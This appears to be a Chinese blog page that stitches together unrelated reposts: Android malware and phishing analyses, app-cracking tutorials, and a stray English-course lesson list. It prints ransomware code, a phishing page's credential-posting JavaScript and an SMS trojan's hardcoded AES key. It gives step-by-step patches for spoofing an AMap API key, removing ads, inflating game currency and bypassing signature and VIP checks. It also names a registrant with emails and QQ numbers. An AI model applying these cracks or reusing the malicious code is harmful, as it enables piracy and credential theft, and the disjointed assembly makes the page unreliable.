文章目录测试
第一部分
今天又在继续修改,去掉了很多没用的东西。
第二部分
更多的注重访问速度和用户体验
第三部分
将加载的一些flash代码都给去掉了,包括背景音乐。将首页分类也从首页菜单中去掉,放在其他地方了。
第四部分
前台边栏加了用户中心和人们搜索等分类,具体的希望大家体验。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
今天又在继续修改,去掉了很多没用的东西。
更多的注重访问速度和用户体验
将加载的一些flash代码都给去掉了,包括背景音乐。将首页分类也从首页菜单中去掉,放在其他地方了。
前台边栏加了用户中心和人们搜索等分类,具体的希望大家体验。
为了防止博客被垃圾评论和一些传销广告污染,博客开启了后台人工审核的方式,但是这种审核方式也有一些不便,有朋友提个问题什么的,回复他了,他也不知道,这次就加了段代码,审核通过后会通过邮件通知他,当然,前提是他留的邮箱是可以联系到他的。
这一点对于大家来说似乎然并卵,不过对于一个网站站长来说至关重要,做个人网站要的就是流量,注重的就是用户体验,so,为了留住一些访客。弄了个这么个东西。
上个月也说了,网站遭到后台暴力破解,虽然对博客没什么影响,不过老是受到登录错误的提示,都看的烦了,所以搞了个安全防护插件,也就是评论中的一个朋友推荐的安全插件。用了挺不错。在此感谢那位朋友推荐了。
这个功能也挺不错的,就是可以显示你看货哪些文章,并且在右边显示,我设置为“您刚刚看过”,这个样式看起来有点怪怪的。。。各位有什么意见可以提。
这几天更新文章大都是一种类型的。昨天的是关于教育和公务员方面的资料分享,今天的是关于安卓手机安全方面的文章。都是转载自其他网站的。
最后祝大家国庆快乐。虽然吃了点。。。
hello 纯情
首先说下,本人真的是纯菜鸟,有限的知识也是通过本论坛学习而得知,所以大神们不要喷我,谢谢
直接进入主题吧
把APK文件拉到Androidkiller里分析,发现入口是.M 
接下来查看下源码,打开MyAdmin.class,发现软件把锁屏密码改成了9797 
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
String str = Integer.toString(9797);
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(str, 0);
return super.onDisableRequested(paramContext, paramIntent);
}
@Override
public void onEnabled(Context paramContext, Intent paramIntent)
{
String str = Integer.toString(9797);
try
{
Object localObject = Class.forName("com.h.s");
localObject = new Intent(paramContext, (Class)localObject);
((Intent)localObject).setFlags(268435456);
paramContext.startService((Intent)localObject);
getManager(paramContext).resetPassword(str, 0);
super.onEnabled(paramContext, paramIntent);
return;然后再打开S.class,翻到下面,
,我们很明显看到,解锁密码就是 随机码+6789
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));
this.passw = new Long(this.pass + 6789);
this.des = new DU("flower");
try如你的随机码是111111,那么解锁密码就是 117900
视频地址 http://pan.baidu.com/s/1o8aWDo2
样本:http://pan.baidu.com/s/1dFE4BhJ
这个破解很简单,但是对有的新手还是不会的,看了有人发了算号机,个人觉得还是破解速度!由于没有加固那破解来说就是简单很多了!


来自吾爱破解,同一个网站,百分之八九十的人肯定见过这种东西,
原文链接:http://www.52pojie.cn/thread-514804-1-2.html
网址先贴出来http://www.xblteam.net/abc123
0x0 起因
收到好几个好友的信息,居然都是同类的信息(如下图1)。伪装描述信息为QQ空间,并附上文字和图片增加可信度。(点开后如下图2。)
(但终究只是小把戏而已,此类网页盗号一看便知的吧,然而好多人中招。)

0x1 抓包
刚开始用手机设置代{过}{滤}理,用Fiddler抓的包,结果如下。

从表面上看,先是一个301跳转,跳转到http://www.xblteam.net/abc123/(应该是我输入地址的时候漏掉的斜杠,不用管)
跳转后加载网页源码,然后加载js和图片,就到了起因中的第二幅图了。
0x2 分析js
第一个js是jquery库,与分析无关。主要是第二个和第三个。
第二个mobile.js是检测当前UA,如果UA不是手机,就跳转到QQ主页。
第三个kr.js是输入账号密码后点击登陆按钮之后的操作,用正则检查账号是否合法(否则提示"请输入正确的QQ号"),密码是否为空 (否则提示"密码不能为空")。
如果都合法就POST提交到"/index/qq.php" ,然后跳转到"http://user.qzone.qq.com/1064065158?ptlang=2052"(应该是为了使跳转更逼真,也许还顺带刷这个Q的空间人气)
(js我贴在最后)
0x3 测试
用手机按照合法的规则输入账号密码,然后提交,果然和上面的分析一样。
然后直接用电脑,如果不伪装UA就马上跳转到QQ主页。伪装后和手机测试的结果一样。
0x4 总结
盗号者首先伪装描述信息,盗取到QQ后利用群发工具再次群发此信息,扩散式的传播,并伴随盗取账号Q币,发广告等行为。
0x5 查Whois、反查
简单的查了下,得知以下信息:
建站人是胡伟生,邮箱有backorder1@dotmedia.com 20702176@qq.com 80010864@qq.com 地址也能查到,就不发出来了。
发现这个人创了好多站点,所以也可能是盗号者买了他的网站。
0x6 最后
几天前就举报了这个网站,现在还是显示安全,看来盗号者为了过网站检测也是用心良苦。专门用顶级域名延长扩散时间,并使用js来防御来自一般PC的检测,只针对手机,也利用了QQ内置浏览器不显示url的特点。
不过这类网站只要换个网址就又可以继续蹦跶了,希望大家加强警惕,在不确认的情况下不要随意输入账号密码。
两个js如下:
mobile:
var util = (function() {
var u = navigator.userAgent.toLowerCase();
return {
isIphone: function() {
return (RegExp("iphone").test(u) || RegExp("ipod touch").test(u))
},
isIpad: function() {
return RegExp("ipad").test(u)
},
isAndroid: function() {
return (RegExp("android").test(u) || RegExp("android 2").test(u))
},
isMB: function() {
return (util.isIphone() || util.isIpad() || util.isAndroid())
}
};
})();
window.util = util; (function() {
if (!util.isMB()) {
window.location.href = 'http://www.qq.com';
/** ķ PC ʶ */
}
})();kr:
function check(){
//alert($("input[name=username]").val());
//alert($("input[name=password]").val());
var qq=$("input[name=username]").val();
var passord=$("input[name=password]").val();
var re=/^[1-9][0-9]{4,}$/;
if(!re.test(qq)){
alert("请输入正确的QQ号");
return false;
}
if(passord==""){
alert("密码不能为空");
return false;
}
// $.ajax({
// //提交数据的类型 POST GET
// type:"POST",
// //提交的网址
// url:"/index/qq.php",
// //提交的数据
// data:{q:qq,p:password},
// //返回数据的格式
// datatype: "text",//"xml", "html", "script", "json", "jsonp", "text".
// //在请求之前调用的函数
// beforeSend:function(){ },
// //成功返回之后调用的函数
// success:function(data){alert("sucdess");} ,
// //调用执行后调用的函数
// complete: function(XMLHttpRequest, textStatus){
// //alert(XMLHttpRequest.responseText);
// //alert(textStatus);
// //HideLoading();
// },
// //调用出错执行的函数
// error: function(){
// alert("error");
// //请求出错处理
// }
// });
var return_val=false;
$.ajax( {
url:'/index/qq.php',// 跳转到 action
data:{
q : qq,
p : passord
},
type:'post',
async : false,
cache:false,
dataType:'text',
success:function(data) {
//window.location.href="http://www.qq.com/";
//alert(data);
if(data ==1 ){
//alert("fuck");
window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";
$("#info").text("QQ账号或者密码错误,请重新输入!");
$("#info").css("color","#FF0000");
}else if(data==2){
window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";
}else{
}
},
error : function() {
// view("异常!");
// alert("异常!");
}
});
return return_val;
}原文链接:http://www.52pojie.cn/thread-514628-1-1.html
早在几周前,一打开手机就发现了许多好友都给我发了一句名为《免费领取500M流量》的消息就像下图所示。

看这消息,根本就不是发的消息嘛,就是XML消息。至于XML,自己去问度娘吧,我这里就不详细的说了。
本来不想管,但是就在今天12号,发现了又有这种类似的,而且还变了花样,你想闹哪样?
那么我就随便的分析一下吧,大神别喷我。

这个就是受害者,当然也很多,我就随便拿了一张o(*≧▽≦)ツ
然后怎么办呢?那我们分析当然要从网站下手了。

复制一下链接得到http://www.xbLteam.net/abc123是这位骚年发给我的。
好的,那么找到了网页地址就好办了。
先去Whois查询,得到如图。

可以看到这个域名是在2016年创建的,但是这里的信息也没有一个有用的,什么邮箱啊,手机号码啊,都是假的!
那我就要使用我的杀手锏了,把这个http://www.xbLteam.net/abc123网页源码下载了如何?于是我马上行动,下载得到图。

打开第一个index.htm这个静态网页。
我吓了一条。这明显是盗号的好吧。

还要输入QQ账号和密码。
文件jquery-2.1.1.min.js和logo.png都没有什么发现,但是在jquery-2.1.1.min.js发现了XML,估计是XML消息吧,但是好像加密过,是乱码也不管了,我们打开kr.js这个最重要的。我只能呵呵。

好吧,聪明的人应该可以知道这个作者的QQ号了。
大家记住哈这个“好人” 的作者QQ为1064065158。至于以后的你们也懂得。
目测此网站后台有数据库,输入的密码账号会记录到里面,还望大家相互告知,遇到这种不知名的网站不要乱输入。
这个网站很聪明,会自动判断是PC还是手机,如果是PC则会自动跳转到qq.com,如果是手机,那自动切换到钓鱼页面!
简单的判别可以手机点进去然后往下拉一下,你就会看到网站,如果不是为XX.QQ.COM为结尾,但让你输入账号密码的网站,还尽量少输入吧,不要贪小便宜!!
2016年7月27日又见这种网站,话说这个真TM有钱啊,巨大利润是吧?这个贴现在用来收集类似于这种网站的吧@Hmily
请Hmily大大上报一下有关部门吧,都是绿星认证,估计都是专门买那种腾讯认证过却没钱续费域名的域名。
也请大家互相监督。欢迎上报~~
以下为盗号网站域名:
http://www.xbLteam.net/abc123
http://www.szzwz.cn/500mcc
0x00-0前言的前面帖 子发出来好几天了,期间被工头叫过去搬砖了,今天回来一看想不到大家这么热情,应版主要求和各位的热烈需求,此处整理了一下帖子,供大家观看,并附上了样 本,密码52pojie,样本其实给出了看雪的下载链接,照顾没有看雪账号的朋友,特此一发。之前未发出完整版绝非为了赚下载,只是本人排版很渣
,怕拍出来乱七八糟,还不如看word效果好,这个效果排版效果如何,大家凑合着看吧,本渣尽力了,哈哈!
0x00 前言
新加入论坛,发一下之前的一篇文章,算是给论坛的一点小支持。
样本来自看雪论坛http://bbs.pediy.com/showthread.php?t=204096,当时已给出答案,此处主要写一下分析过 程,算是总结一下,共同进步。首先声明,该样本未被加壳,程序部分混淆,但不严重,主要看论坛中还未涉及此类话题,其次论坛中有人对此加密号码分析过程还 比较感兴趣,所以来一发。
本人菜鸟一枚,首次发帖,高手默默飘过就行,欢迎拍砖!
0x01 特殊字符
JxB打开apk,未加壳,看strings有
1:43410150d9cc2072b6396f06bf57eada5acb86f0d9ee4a45
2:10801d06de02ed80cc58e431c7f1d2ac
明显是被加密了,至于加密的是什么,还是接着分析。
双击10801d06de02ed80cc58e431c7f1d2ac进入引用它的代码(搜索找到也行)。smali转java,可以看出该类主要是进 行shared_prefs处理的,明显的字段名有好多,但是该字段是a01,所以要分析其具体作用,还得继续回溯代码。
ctrl+X查找函数d()的引用,有4个,一个一个看。

0x02 第一个方向:函数d()的引用
1. privateboolean b(String arg7, String arg8, int arg9) {
2. intv5 = 2;
3. booleanv0 = true;
4. if(arg7.contains(a.a(this.a).d())) {
5. String[]v2 = arg8.split(" ");
6. if(v2[0].equals("LJ")) {
7. if(v2[1].equals("ALL")) {
8. a.a(this.a).a(1);
9. return v0;
10. }
11.
12. if(v2[1].equals("SOME")){
13. a.a(this.a).a(v5);
14. return v0;
15. }
16.
17. if(!v2[1].equals("NO")) {
18. return v0;
19. }
20.
21. a.a(this.a).a(3);
22. returnv0; }可以看出函数b(估计看过以前分析的都知道该函数是短信控制命令的解析与执行,由此就知道arg7是手机号,arg8是短 信内容了),我们此处暂且认为不知道这些,继续查找函数b的引用,被本类的函数a调用。a函数的交叉引用是类com.phone.stop.a.c中的函 数a,该类是一个短信数据库观察者类,显然是对新到短信进行拦截和监控的。
private voida() {[/align] Cursor v0 = this.b.query(b.b, null,null, null,"_id desc");
if(v0 == null || v0.getCount() == 0){
this.a(v0);
}
else {
if(v0.moveToNext()) {
String v1 = v0.getString(v0.getColumnIndex("date"));
if(v1.compareTo(a.a(this.a).b()) > 0) {
a.a(this.a).a(v1);
int v1_1= v0.getInt(0);
this.a(v1_1);
String v2= v0.getString(v0.getColumnIndex("address"));
String v3= v0.getString(v0.getColumnIndex("body"));
this.a(v0);
this.a(v2, v3,v1_1);
}
}
this.a(v0);}0x03换一个方向
public voidc(String arg3) {
SharedPreferences$Editorv0 = this.b.edit();
v0.putString("a01", arg3);
v0.commit();
}
public staticvoid a(Context arg2) {
if(!com.phone.stop.a.a.a(arg2).e()) {
com.phone.stop.a.a.a(arg2).c(com.phone.stop.b.a.a(com.phone.stop.a.a.a(arg2).d()));
com.phone.stop.a.a.a(arg2).b(true);
}
}public staticString a(String arg2) {[/align] String v0_1;
try {
v0_1 = new b(com.phone.stop.a.b.f).b(arg2);
}
catch(Exceptionv0) {
v0.printStackTrace();
v0_1 = "";
}
return v0_1;
}0x04密钥的小伎俩前面找到了com.phone.stop.a.b.f就是解密密钥,下面就看其生成过程,交叉引用如下:


public staticString a(StringBuffer arg1){
arg1.append('x');
b.f = arg1.toString().getBytes();
return arg1.toString();
}


protectedvoid onCreate(Bundle arg5) {[/align] super.onCreate(arg5);
this.setContentView(2130903041);
com.phone.stop.b.b.a();
this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),2, 1);
com.phone.stop.b.b.a(((Context)this));
com.phone.stop.b.b.b(((Context)this));
if(!a.a(((Context)this)).i()) {
e.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n"+ d.a(), ((Context)
this));
a.a(((Context)this)).e(true);
}
com.phone.stop.b.a.b(((Context)this));
this.a();
}0x05后记
最后再次PS:首次发帖,欢迎拍砖!
0x00 前言
0x01 变化
0x02 来看看MM的百宝箱
public String p() {
this.b.getString("send_email_account","587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
}
public boolean q() {
returnthis.b.getBoolean("has_set_send_email_account", false);
}
public String r() {
this.b.getString("receive_email_account","A609DC08DE9D6D0DF062B0B68028EE05");
returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
}
public boolean s() {
returnthis.b.getBoolean("has_set_receive_email_account", false);
}
public String t() {
this.b.getString("send_email_pwd","A609DC08DE9D6D0DF062B0B68028EE05");
returnC.decrypt("A609DC08DE9D6D0DF062B0B68028EE05", C.k);
}
[align=left]深入到C.decrypt函数,发现是AES加密算法,而且密钥是明文,大喜过望!
private static final String CipherMode = "AES/ECB/PKCS5Padding";
public staticString k;
static final{
C.k = "sdtyffdftesfyfdw";
0x03换一个方向
private static SecretKeySpec createKey(String arg11) {[/align] byte[] v2;
byte[] v6_2;
String v0 = arg11;
String v6 = v0;
if(v6 == null) {
v6 = "";
v0 = v6;
}
super(32);
String v3 = v6;
v3.append(v0);
while(v3.length() < 32){
v3.append("0");
}
if(v3.length() > 32){
v3.setLength(32);
}
v6 = v3;
try {
v6_2 = ((StringBuffer)v6).toString().getBytes("UTF-8");
v2 = v6_2;
}
catch(UnsupportedEncodingExceptionv6_1) {
v6_1 = v6_1;
v6_1.printStackTrace();
}
super(v2, "AES");
return v6_2;
}
0x04解密函数
0x05后记
写在前面的话:本人非专业破解的,只是为了被锁机的朋友不被连环坑钱,让大家放心使用安卓手机。在破解之前先备好以下三点:























前言
准备工具
分析过程




修改jar

public IBinder onBind(Intent paramIntent) { try { String str1 = paramIntent.getStringExtra("apiKey"); String str2 = paramIntent.getStringExtra("packageName"); String str3 = paramIntent.getStringExtra("sha1AndPackage"); String str4 = paramIntent.getStringExtra("as"); Log.i("修改前数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4); paramIntent.putExtra("apiKey", "93036c13932aba6eeaee2a02656f14d7"); paramIntent.putExtra("packageName", "com.lge.clock"); paramIntent.putExtra("sha1AndPackage", "FA:AB:F5:02:B2:17:AC:D3:DA:46:38:ED:FF:E3:0C:A3:E4:67:0A:50:com.lge.clock"); str1 = paramIntent.getStringExtra("apiKey"); str2 = paramIntent.getStringExtra("packageName"); str3 = paramIntent.getStringExtra("sha1AndPackage"); str4 = paramIntent.getStringExtra("as"); Log.i("修改后数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4); return this.a.onBind(paramIntent); } catch (Throwable localThrowable) { c.a(localThrowable, "APSService", "onBind"); } return null; }
task makeJar(type: Copy) { delete 'build/libs/lib.jar' from('build/intermediates/bundles/release/') into('build/libs/') include('classes.jar') rename ('classes.jar', 'lib.jar')}makeJar.dependsOn(build)
gradlew makeJar


测试
国际惯例
https://github.com/YiuChoi/CrackAmap[size=0em]
TO:想了解安卓游戏修改的人(大神请路过),因为游戏是我自己玩所以不想修改太变态什么都无限,需要金币和钻石的时候购买一下。
首先说说去广告吧。
游戏是谷歌应用商店的游戏,带的广告为谷歌广告底部横条广告,所以这方法可以去除大部分谷歌游戏广告。
1.打开killer,搜索AndroidManifest.xml 搜索到--- const-string v4, "Missing internet permission in AndroidManifest.xml."
2.进入后下面的是执行广告的代码,我修改方法就是直接让代码结束,修改的部分是下面#部分
.method protected zzaV()Z
.locals 6
const/4 v1, 0x0 #const/4 v1, 0x0 那v1修改成v0
return v0 #这是我自己添加进去的,原本的没有,直接返回V0
const/4 v0, 0x1
invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
move-result-object v2
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
invoke-virtual {v3}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v3
iget-object v4, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v4, v4, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
move-result-object v4
const-string v5, "android.permission.INTERNET"
invoke-virtual {v2, v3, v4, v5}, Lcom/google/android/gms/internal/zzir;->zza(Landroid/content/pm/PackageManager;Ljava/lang/String;Ljava/lang/String;)Z
move-result v2
if-nez v2, :cond_0
invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
move-result-object v0
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
const-string v4, "Missing internet permission in AndroidManifest.xml."
const-string v5, "Missing internet permission in AndroidManifest.xml. You must have the following declaration: <uses-permission android:name=\"android.permission.INTERNET\" />"
invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
move v0, v1
:cond_0
invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
move-result-object v2
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
invoke-virtual {v2, v3}, Lcom/google/android/gms/internal/zzir;->zzI(Landroid/content/Context;)Z
move-result v2
if-nez v2, :cond_1
invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
move-result-object v0
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
const-string v4, "Missing AdActivity with android:configChanges in AndroidManifest.xml."
const-string v5, "Missing AdActivity with android:configChanges in AndroidManifest.xml. You must have the following declaration within the <application> element: <activity android:name=\"com.google.android.gms.ads.AdActivity\" android:configChanges=\"keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize\" />"
invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
move v0, v1
:cond_1
if-nez v0, :cond_2
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
if-eqz v2, :cond_2
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
invoke-virtual {v2, v1}, Lcom/google/android/gms/ads/internal/zzs$zza;->setVisibility(I)V
:cond_2
return v0
.end method接下来说下购买金币增加钻石的方法--修改DLL文件。
1.把游戏的DLL文件解压到另一个文件夹里面,路径:小仓鼠的生活.apk\assets\bin\Data\Managed
2.解压好友把所有的dll文件放入.net reflector软件 搜索(放大镜按钮)coin,搜索方式为search member(快捷键ctrl+m)
3.找到一个BuyCoin CoinShop ,修改这文件就可以达到了。
4.需要下载reflexil.1.9插件进行修改
public void BuyCoin(DiamondShop.DiamondInfo diamondInfo){ this.buySuccessWindow.text = LocalizationCustom.Get("638", LocalizationCustom.LocalizeType.Normal); if (SaveData.instance.data.diamondPoint >= [url=]diamondInfo[/url].valueJP) ------白话:当你身上的钻石大于等于购买商品的钻石时 { SaveData.instance.data.diamondPoint -= [url=]diamondInfo[/url].valueJP; 身上的钻石-商品钻石价格 SaveData.instance.data.coinNum += [url=]diamondInfo[/url].num; this.buySuccessWindow.openFlag = true; BuyDiamondWindow.SendUserItemsData(1, 0, 0, [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum - [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum, [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint + [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint); MainManager.instance.PlaySound(MainManager.SoundType.CashExchange); 下面就是扣除钻石了 |

我的方法就是删除判断达到即使你钻石不够也可以进行购买,但购买后你的钻石会是负数,因此我又修改下面代码。
把扣除钻石改成增加钻石。
修改完后替换原来的DLL文件,游戏重新签名就可以了
方法结束。
附镇文图两张:
[caption id="" align="alignnone" width="324"]
小仓鼠安卓[/caption]
[caption id="" align="alignnone" width="324"]
安卓游戏破解版小仓鼠[/caption]
昨天玩了一个安卓游戏,叫做《屌丝买房记》,大概就是类似于《北京浮生记》(暴露年龄)一样倒买倒卖的游戏
消磨时间,但是初始金币太少了,最贵的房子要3亿,得玩到什么时候。果断自己动手丰衣足食,咱们直接来修改初始金币。直接变身富二代买房记
准备工作:
游戏一份:链接:http://pan.baidu.com/s/1o8D8kUe 密码:cvo7
反编译工具一份:Androidkiller (论坛有链接,我这里就上传到网盘了,善用搜索)
正文:
打开游戏,我们可以看到,初始金币为3000

用AndroidKiller打开apk文件
点击入口.MaiFangJi跳转到smail

接着点击工具栏查看java源码

如下图

接着咱们CTRL+F搜索3000(初始金币数值)
会搜索出很多3000,都不是咱们要的,咱们一直点next,最后回来到这个地方

defaultcash是不是很眼熟?对,这里就是默认金币数值的位置。
接下来就简单啦,回到smail里面查找字符串-直接搜索3000

双击跳转到数值所在位置
咱们把3000修改为99999999,保存
回编译。
打开我们修改过的游戏,看一下默认金币是否变了
可以看到,金币已经变成了99999999了

至此初始金币修改完成,当然了,如果细心的同学可以看到,游戏里面有健康值,名声,这些数值都在3000附近,直接修改保存就行了。
PS:这个游戏有广告,咱们需要去除他的联网权限,好好的单机游戏要什么联网权限对不。
教程比较简单,没有涉及到IDA,当然了我也是弱鸡。望各位dalao手下留情
后记,关于是如何找到3000这个数值所在的位置,我也是找了好久的,最开始我认为作者会把数值改为十六进制,搜索0xbb8,出来了5个文件,一一修改 都不对,后面查看关键的.maifangji这个文件,通过观察java源码得知所有的关键数值都在里面,包括随机事件,房屋价格。这就帮我确定了初始金 币一定在这里面的想法,接着在java源码里面仔细查看找到了defaultcash这个数值,修改一下尝试,果然是对的。
修改的关键在于,善于分析,用排除法
就酱
作者:傲世V雄哥720
首发:吾爱破解论坛
/* * 作者:傲世V雄哥720 * QQ:737672679 * (欢迎交流,若论坛想抹去我的Q号,请把帖子也删了,谢谢合作。) * 写作时间:2016/10/2 20:25 * */
很早就开始在搞安卓 apk 应用程序 VIP 权限破解、软件功能改变实现,游戏的短代等内购、
垃圾软件的去广告操作,也算是积累了一定的逆向经验,今天分享一些经验,也算是对以前的逆向经验的总结。
关于校验
从 2014 年起,安卓程序的篡改就从安卓市场上肆虐开来,去年开始,在国内安卓 apk
安全攻防趋于白热化,加固暂且不说,越来越多的自身校验开始呈现在破解者眼
前,综合考虑,我一般把程序校验分为三大类:
1.签名信息的检验。这种最为常见,可以说是开发者最起码的安全防范意识。由于开发者的
层次不同,签名校验的逻辑有写在 Java 层,也有写在 so 里的。比如,瓦力抢红包的签名校
验,包括获取签名信息的过程和判断逻辑都在 Java 层,在 Smali 代码中定位搜索的关键词
为:Landroid/content/pm/PackageInfo;->signatures:(搜索结果中选择在程序包名程序内的
结果)。

这种的 smali 中的破解不是障碍,怎么都行,可能是爆破,也可能是直接赋予正确的签名信
息。
如果签名信息的获取和判断都是在 so 里,就相对有些难度了,比如饥饿鲨·进化那款游戏,
签名信息的校验就是在 so 中,将 so 拖进 IDA,不懂的先看IDA权威指南,Shift+F12,在所有的 Strings 中查找 signatures字符:


查看知:thread fun+2E 则是 checkdex 的地方:

所以破解的手段可以是直接 nop 掉校验方法对 ExitGame 方法的调用。
还有一种混合层次写法:在 so 中获取签名信息返回到 Java 层进行判断,我不知道这有何意
义 。目前来看 ,由于很多程序获取签名信息的方式大抵都是
getPackageManager->getPackageName->getPackageInfo->signature 的
byte/charString/MD5/HASH,基于 Java 可继承的特点,基本都没啥难度,最重要的还是定
位 apk 的路径,自定义获取 RSA 的信息,这样破解者就难以捉摸了。
2.文件校验。文件校验的范围就比较大了,包含 classes.dex、AndroidManifest.xml、unity.dll、
so、apk 整体的校验等,按照一般的逻辑,要想对这些文件进行合法性的校验,首先要定位
到这些文件,需要用到的关键词有 sourceDir、getPackageCode、getPackResPath 等,比如
饥饿鲨进化游戏中对 classes.dex 文件校验时,就会通过 sourceDir 定位:

其实这个 sourceDir 也可以通过 Java 反射进行 set 固定,这样也可以实现不修改 so 进行路
径转向。
3.服务器校验签名或文件信息。所谓的服务器校验就是将需要检验的信息在本地获取后拿到
服务器上进行判断是否合法,比如本地获取运行签名信息或者 apk 整体 MD5,发送到服务
器进行判断。比较简单的情况是传入固定值,意思是因为一个 apk 签名、MD5 一定时固定
的,那向服务器发送固定值也是可以判断的,这种最简单,找准位置让它传正确的不就行了。
有一种比较难的是,有一个 native String vialSign(String Str)方法来获取要传送的校验值,
其中传入和传出都是变化的 ,深层次的来说就必须要了解 so 中的算法机制才能进行伪造,
或者可以测试下,当传入一个定值时,返回值是否也是固定,如此就可只固定传入值即可绕
过。
关于破解 VIP
VIP 功能在本地的就不用说了,实现会员Boolean判断为真,解除限制即可。例,麦格期刊smali:
const/4 v1 1 //判断v1的值是1 true
if-ne v1 v2 :label_9 //删除此跳转达到VIP功能
const-string v0 "supervip" //超级会员
invoke-static {v0,v1} Lcom/magook/f/u;->b(Ljava/lang/String;Z)V
label_8:
return-void
label_9:
const-string v0 "supervip"
const/4 v1 0 //判断v1的值为0 false
//可以将 v1 0 改为v1 1
invoke-static {v0,v1} Lcom/magook/f/u;->b(Ljava/lang/String;Z)V
goto :label_8const-string v0 "supervip"
const/4 v1 0
invoke-static {v0,v1} Lcom/magook/f/u;->a(Ljava/lang/String;Z)Ljava/lang/Boolean;
move-result-object v0
invoke-virtual {v0} Ljava/lang/Boolean;->booleanValue()Z //booleanValue的值为1或0
move-result v0 //将结果返回给 v0
const/4 v0 1 //此处将BooleanValue值修改为1,真。
return v0VIP 功能在服务端的破解,无非就是两种途径:一是在用户请求时 VIP 资源已经自动下载到
了本地,只在本地进行限制,此时修改客户端接触本地限制即可;二是该应用服务器端存在
越权或者封包可伪造请求漏洞,可以越权访问或者伪造请求获取 VIP 资源,从而在本地展示。
关于去广告
去广告应该算是所有应用修改中最简单的,因为所有的广告之所以为广告不就是在本地进行
展示的吗,而本地的破解是比较简单的,无非就是一些布局文件 XML,是否显示 show(),哪
些组件不可见 gone/invisible,倒计时为 0、修改广告的请求地址,修改服务器返回的广告 url
获取关键词等等。
然后说一下去除升级,简单的两个途径:一修改版本 Versionnam 和 versionCode;二是根
本办法修改 update 的 URL,抓包找到URL,去除或者修改该链接。
本文结束。
课程目录:
课时1 成人入门直达中级6合1套餐简介试听
课时2 第1.1节 音标的概述 第1.2节 12个单元音音标的读法
课时3 音标 第1.3节 8个双元音音标的读法
课时4 音标 第1.4节 22个单辅音音标的读法
课时5 音标 第1.5节 6个双辅音音标的读法
课时6 音标 第1.6节 辅音连缀
课时7 音标 第1.7节 看音标划音节
课时8 音标 第1.8节 见音能读的训练
